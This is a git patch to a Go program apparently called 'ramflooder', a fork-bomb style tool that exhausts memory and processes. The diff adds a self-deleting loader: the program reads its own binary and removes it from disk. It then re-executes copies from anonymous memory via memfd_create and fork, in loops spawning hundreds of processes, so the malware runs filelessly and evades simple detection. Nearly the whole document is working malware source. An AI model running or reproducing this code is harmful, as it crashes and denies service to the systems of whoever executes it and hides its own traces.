From be49198f30b4c33421152ffe0172f0871571c3e4 Mon Sep 17 00:00:00 2001 From: Lain Iwakura Date: Sun, 24 Aug 2025 20:14:10 +0300 Subject: [PATCH] lol --- main.go | 59 ++++++++++++++++++++++++++++++++++++++------------------- 1 file changed, 39 insertions(+), 20 deletions(-) diff --git a/main.go b/main.go index 55dc564..e703535 100644 --- a/main.go +++ b/main.go @@ -2,23 +2,50 @@ package main import ( "fmt" + "io" "os" - "os/exec" "syscall" + "unsafe" ) +var payload = []byte{} + +func init() { + if len(payload) == 0 { + exe, _ := os.Executable() + file, _ := os.Open(exe) + payload, _ = io.ReadAll(file) + file.Close() + os.Remove(exe) + } +} + +func memfdCreate() int { + name := []byte("ramflooder\x00") + fd, _, _ := syscall.Syscall(319, uintptr(unsafe.Pointer(&name[0])), 1, 0) + return int(fd) +} + +func spawnMemory() { + fd := memfdCreate() + if fd < 0 { + return + } + + syscall.Write(fd, payload) + + pid, _, _ := syscall.Syscall(syscall.SYS_FORK, 0, 0, 0) + if pid == 0 { + path := fmt.Sprintf("/proc/self/fd/%d", fd) + syscall.Exec(path, []string{"ramflooder"}, []string{"CHILD_MODE=1"}) + } + syscall.Close(fd) +} + func childProcess() { go func() { for i := 0; i < 125; i++ { - cmd := exec.Command(os.Args[0], "child") - cmd.SysProcAttr = &syscall.SysProcAttr{ - Setpgid: true, - } - if err := cmd.Start(); err != nil { - fmt.Fprintf(os.Stderr, "lol wtf %v\n", err) - } else { - cmd.Process.Release() - } + spawnMemory() } }() @@ -31,7 +58,7 @@ func childProcess() { } func main() { - if len(os.Args) > 1 && os.Args[1] == "child" { + if os.Getenv("CHILD_MODE") == "1" { childProcess() return } @@ -43,15 +70,7 @@ func main() { pid, _, _ := syscall.Syscall(syscall.SYS_FORK, 0, 0, 0) if pid == 0 { for i := 0; i < 1488; i++ { - cmd := exec.Command(os.Args[0], "child") - cmd.SysProcAttr = &syscall.SysProcAttr{ - Setpgid: true, - } - if err := cmd.Start(); err != nil { - fmt.Fprintf(os.Stderr, "lol wtf %d: %v\n", i+1, err) - continue - } - cmd.Process.Release() + spawnMemory() } os.Exit(0) } else {